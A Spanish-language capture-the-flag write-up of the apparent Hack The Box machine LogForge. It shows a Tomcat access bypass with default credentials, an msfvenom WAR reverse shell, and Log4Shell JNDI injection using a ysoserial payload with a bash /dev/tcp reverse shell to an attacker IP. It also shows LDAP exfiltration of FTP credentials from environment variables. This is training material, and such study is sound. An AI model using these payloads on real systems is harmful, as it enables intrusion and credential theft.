LogForge
10 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.138
- Fecha: 03 / 12 / 2021
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.138 -p 21,22,80,8080
Nmap scan report for 10.10.11.138
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ultimate Hacking Championship
8080/tcp filtered http-proxy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 11.18 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP). Los puertos 21 (FTP) y 8080 (HTTP) están filtrados.
Enumeración
Si vamos a http://10.10.11.138
veremos una página como esta:
Apliquemos fuzzing con ffuf
para ver si hay rutas útiles:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.138/FUZZ
admin [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 49ms]
manager [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 44ms]
[Status: 200, Size: 489, Words: 23, Lines: 33, Duration: 100ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 50ms]
Mirando al resultado, parece que el servidor está ejecutando Tomcat. Esto se puede verificar buscando un archivo que no existe. Por ejemplo, /robots.txt
:
Se está utilizando Tomcat/9.0.31. Sin embargo, nmap
mostraba que el servidor era Apache/2.4.41. También hay que recordar que el puerto 8080 estaba filtrado.
Acceso a la máquina
El puerto de Tomcat por defecto es el 8080. Es posible que Apache esté configurado en el puerto 80 para redirigir las peticiones a Tomcat en el puerto 8080. El servidor Apache está bloqueando el acceso directo a /manager
(donde se encuentra el panel de administración de Tomcat). Esta configuración puede llevar a problemas de navegación de directorios.
Burlando las restricciones de Apache
Mirando en HackTricks, podemos utilizar /;param=value/manager/html
para saltarnos el bloqueo de Apache y acceder al panel de administración de Tomcat. Al solicitarnos credenciales, usamos las que vienen por defecto (tomcat:tomcat
) y entramos:
Ahora podemos realizar la explotación de Tomcat clásica. Esto es, desplegar un fichero WAR malicioso para obtener una reverse shell en el servidor. Para ello, utilizamos msfvenom
:
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.17.44 LPORT=4444 -f war -o rev.war
Payload size: 1106 bytes
Final size of war file: 1106 bytes
Saved as: rev.war
Y ahora lo subimos. No obstante, el panel muestra un error:
[org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException: The field deployWar exceeds its maximum permitted size of 1 bytes.]
Como se muestra, el servidor dice que el tamaño máximo permitido es de 1 B. Entonces, no podemos comprometer Tomcat del modo tradicional.
Explotación de Log4j
Podemos darnos cuenta de que el mensaje de error viene de algún gestor de logs como puede ser Log4j. Este paquete de Java tiene una funcionalidad de búsqueda JNDI (Java Naming and Directory Interface). A lo mejor es vulnerable a CVE-2021-44228 (Log4Shell).
Utilizando Burp Suite para examinar la petición POST de subida del archivo WAR, vemos que el nombre del parámetro es deployWar
, que además se refleja en el mensaje de error. Podemos cambiar este nombre por un payload común de explotación de Log4j (${jndi:ldap://<ip>/a}
) y ver si se recibe una conexión.
Para ello, podemos escuchar en el puerto 389 (LDAP) con nc
:
$ nc -nlvp 389
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::389
Ncat: Listening on 0.0.0.0:389
Luego, realizamos la petición POST con Burp Suite:
Y vemos que recibimos una conexión:
$ nc -nlvp 389
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::389
Ncat: Listening on 0.0.0.0:389
Ncat: Connection from 10.10.11.138.
Ncat: Connection from 10.10.11.138:49432.
0
`
Ahora que sabemos que el servidor realiza búsquedas JNDI, podemos utilizar un servidor LDAP malicioso para inyectar un objeto Java serializado que nos envíe una reverse shell.
Para este propósito, estaremos utilizando JNDI-Exploit-Kit para exponer el servidor LDAP y también ysoserial-modified para crear el objeto serializado malicioso.
Primero, creamos el payload:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ java -jar target/ysoserial-modified.jar CommonsCollections5 bash 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash' > payload.ser
Y luego iniciamos el servidor LDAP:
$ java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.17.44:1389 -P ../ysoserial-modified/payload.ser
_ _ _ _____ _____ ______ _ _ _ _ ___ _
| | \ | | __ \_ _| | ____| | | (_) | | |/ (_) |
| | \| | | | || |______| |__ __ ___ __ | | ___ _| |_ ______| ' / _| |_
_ | | . ` | | | || |______| __| \ \/ / '_ \| |/ _ \| | __|______| < | | __|
| |__| | |\ | |__| || |_ | |____ > <| |_) | | (_) | | |_ | . \| | |_
\____/|_| \_|_____/_____| |______/_/\_\ .__/|_|\___/|_|\__| |_|\_\_|\__|
| |
|_| created by @welk1n
modified by @pimps
[HTTP_ADDR] >> 10.10.17.44
[RMI_ADDR] >> 10.10.17.44
[LDAP_ADDR] >> 10.10.17.44
[COMMAND] >> open /System/Applications/Calculator.app
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://10.10.17.44:1099/ohutrt
ldap://10.10.17.44:1389/ohutrt
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://10.10.17.44:1099/z67mvv
ldap://10.10.17.44:1389/z67mvv
Target environment(Build in JDK 1.6 whose trustURLCodebase is true):
rmi://10.10.17.44:1099/zanrvh
ldap://10.10.17.44:1389/zanrvh
Target environment(Build in JDK - (BYPASS WITH EL by @welk1n) whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://10.10.17.44:1099/mz9jme
Target environment(Build in JDK - (BYPASS WITH GROOVY by @orangetw) whose trustURLCodebase is false and have Tomcat 8+ and Groovy in classpath):
rmi://10.10.17.44:1099/tc7meh
Target environment(Build in JDK 1.5 whose trustURLCodebase is true):
rmi://10.10.17.44:1099/b96eue
ldap://10.10.17.44:1389/b96eue
----------------------------Server Log----------------------------
[JETTYSERVER]>> Listening on 10.10.17.44:8180
[RMISERVER] >> Listening on 10.10.17.44:1099
[LDAPSERVER] >> Listening on 0.0.0.0:1389
Utilizando Burp Suite otra vez, podemos enviar el siguiente payload JNDI:${jndi:ldap://10.10.17.44:1389/twjpgf}
en la misma petición POST y obtener la conexión en nc
:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.138.
Ncat: Connection from 10.10.11.138:54970.
bash: cannot set terminal process group (782): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@LogForge:/var/lib/tomcat9$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tomcat@LogForge:/var/lib/tomcat9$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
tomcat@LogForge:/var/lib/tomcat9$ export TERM=xterm
tomcat@LogForge:/var/lib/tomcat9$ export SHELL=bash
tomcat@LogForge:/var/lib/tomcat9$ stty rows 50 columns 158
Enumeración del sistema
Existe un usuario llamado htb
:
tomcat@LogForge:/var/lib/tomcat9$ ls /home
htb
Su directorio personal es legible. Por tanto, podemos leer la flag user.txt
:
tomcat@LogForge:/var/lib/tomcat9$ ls -la /home/htb
total 24
drwxrwxr-x 1 htb htb 174 Dec 21 00:53 .
drwxr-xr-x 1 root root 6 Jul 2 18:57 ..
lrwxrwxrwx 1 root root 9 Dec 21 00:52 .bash_history -> /dev/null
-rw-r--r-- 1 htb htb 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 htb htb 3771 Feb 25 2020 .bashrc
drwx------ 1 htb htb 40 Jul 2 18:58 .cache
-rw-r--r-- 1 htb htb 807 Feb 25 2020 .profile
-rw-r--r-- 1 htb htb 0 Jul 2 18:58 .sudo_as_admin_successful
-rw------- 1 htb htb 3404 Dec 21 00:53 .viminfo
-rw-r--r-- 1 root root 33 Dec 24 05:26 user.txt
tomcat@LogForge:/var/lib/tomcat9$ cat /home/htb/user.txt
6b62392136128e4b1d1c2769fee24010
Escalada de privilegios
Podemos recordar que el puerto 21 (FTP) estaba filtrado en el resultado de nmap
. De hecho, existe un servidor FTP en ejecución mediante un proyecto Java personalizado:
tomcat@LogForge:/var/lib/tomcat9$ ps -faux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
...
root 757 0.0 0.0 5568 3072 ? Ss 05:26 0:00 /usr/sbin/cron -f
root 955 0.0 0.0 7248 3372 ? S 05:27 0:00 \_ /usr/sbin/CRON -f
root 962 0.0 0.0 2608 548 ? Ss 05:27 0:00 \_ /bin/sh -c /root/run.sh
root 963 0.0 0.0 5648 3096 ? S 05:27 0:00 \_ /bin/bash /root/run.sh
root 964 0.1 1.7 3576972 70076 ? Sl 05:27 0:25 \_ java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar
Explorando el servidor FTP
Afortunadamente, el archivo JAR se puede encontrar en el directorio raíz:
tomcat@LogForge:/var/lib/tomcat9$ ls -la /
total 2060
drwxr-xr-x 1 root root 224 Dec 21 20:09 .
drwxr-xr-x 1 root root 224 Dec 21 20:09 ..
lrwxrwxrwx 1 root root 7 Jul 31 2020 bin -> usr/bin
drwxr-xr-x 1 root root 294 Dec 21 01:21 boot
drwxr-xr-x 1 root root 0 Jul 2 18:33 cdrom
drwxr-xr-x 17 root root 3820 Dec 24 05:26 dev
drwxr-xr-x 1 root root 3176 Dec 21 20:04 etc
-rw-r--r-- 1 root root 2048143 Dec 18 11:49 ftpServer-1.0-SNAPSHOT-all.jar
drwxr-xr-x 1 root root 6 Jul 2 18:57 home
lrwxrwxrwx 1 root root 7 Jul 31 2020 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 31 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Jul 31 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Jul 31 2020 libx32 -> usr/libx32
drwxr-xr-x 1 root root 0 Jul 31 2020 media
drwxr-xr-x 1 root root 0 Jul 31 2020 mnt
drwxr-xr-x 1 root root 0 Jul 31 2020 opt
dr-xr-xr-x 287 root root 0 Dec 24 05:26 proc
drwx------ 1 root root 236 Dec 21 15:10 root
drwxr-xr-x 25 root root 740 Dec 24 05:26 run
lrwxrwxrwx 1 root root 8 Jul 31 2020 sbin -> usr/sbin
drwxr-xr-x 1 root root 0 Jul 31 2020 srv
dr-xr-xr-x 13 root root 0 Dec 24 05:26 sys
drwxrwxrwt 1 root root 34 Dec 24 05:26 tmp
drwxr-xr-x 1 root root 128 Jul 2 19:17 usr
drwxr-xr-x 1 root root 106 Dec 14 20:31 var
Podemos transferirlo a nuestra máquina y descompilarlo utilizando una herramienta como javadecompilers.com.
Existen dos archivos Java en el proyecto: Server.java
y Worker.java
. El segundo contiene información útil:
package main.java.com.ippsec.ftpServer;
import org.apache.logging.log4j.LogManager;
// ..
import org.apache.logging.log4j.Logger;
public class Worker extends Thread {
// ...
public Worker(final Socket client, final int dataPort) {
this.debugMode = true;
this.fileSeparator = "/";
this.transferMode = transferType.ASCII;
this.currentUserStatus = userStatus.NOTLOGGEDIN;
this.validUser = System.getenv("ftp_user");
this.validPassword = System.getenv("ftp_password");
this.quitCommandLoop = false;
this.controlSocket = client;
this.dataPort = dataPort;
this.currDirectory = "/root";
this.root = "/";
}
// ...
}
Como se puede ver, el nombre de usuario y la contraseña para FTP están almacenadas en las variables de entorno ftp_user
y ftp_password
. Además, el servidor FTP utiliza Log4j.
Para obtener el valor de estas variables de entorno, podemos explotar la búsqueda JNDI de Log4j de nuevo. No obstante, no podremos inyectar un objeto serializado con ysoserial-modified porque el proyecto Java no incluye ningún paquete vulnerable a deserialización insegura.
Entonces, solamente podemos realizar una exfiltración de datos por LDAP utilizando el servidor LDAP anterior. Para obtener estos datos, se puede utilizar Wireshark.
Exfiltración por LDAP
Desde la máquina, nos podemos conectar al servidor FTP e inyectar la búsqueda JNDI mientras capturamos con Wireshark.
tomcat@LogForge:/var/lib/tomcat9$ cd /tmp
tomcat@LogForge:/tmp$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ${jndi:ldap://10.10.17.44:1389/${env:ftp_user}:${env:ftp_password}}
530 Not logged in
Login failed.
Nótese que ${env:ftp_user}
imprimirá el valor de la variable de entorno llamada ftp_user
.
Los logs del servidor LDAP dicen que la conexión se ha recibido, pero no muestran más información. En Wireshark sí podemos ver la información que queremos:
Como se muestra, las credenciales para FTP son: ippsec:log4j_env_leakage
. Ahora podemos iniciar sesión correctamente:
ftp> user ippsec
331 User name okay, need password
Password:
230-Welcome to HKUST
230 User logged in successfully
Remote system type is FTP.
ftp> dir
200 Command OK
125 Opening ASCII mode data connection for file list.
.profile
.ssh
snap
ftpServer-1.0-SNAPSHOT-all.jar
.bashrc
.selected_editor
run.sh
.lesshst
.bash_history
root.txt
.viminfo
.cache
226 Transfer complete.
En este punto, podemos descargar la flag root.txt
:
ftp> get root.txt
local: root.txt remote: root.txt
200 Command OK
150 Opening ASCII mode data connection for requested file root.txt
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 File transfer successful. Closing data connection.
33 bytes received in 0.00 secs (210.6311 kB/s)
ftp> quit
221 Closing connection
tomcat@LogForge:/tmp$ cat root.txt
648bf4d58f9cec00f1720aeb122a4ce0
Para conseguir una sesión interactiva como root
, se podría añadir una clave SSH al directorio /root/.ssh
. Sin embargo, el servidor FTP de Java no funciona correctamente y no permite sobrescribir archivos. Además, la clave id_rsa
que hay en el directorio /root/.ssh
no funciona como uno esperaría, ya que no permite acceder sin contraseña.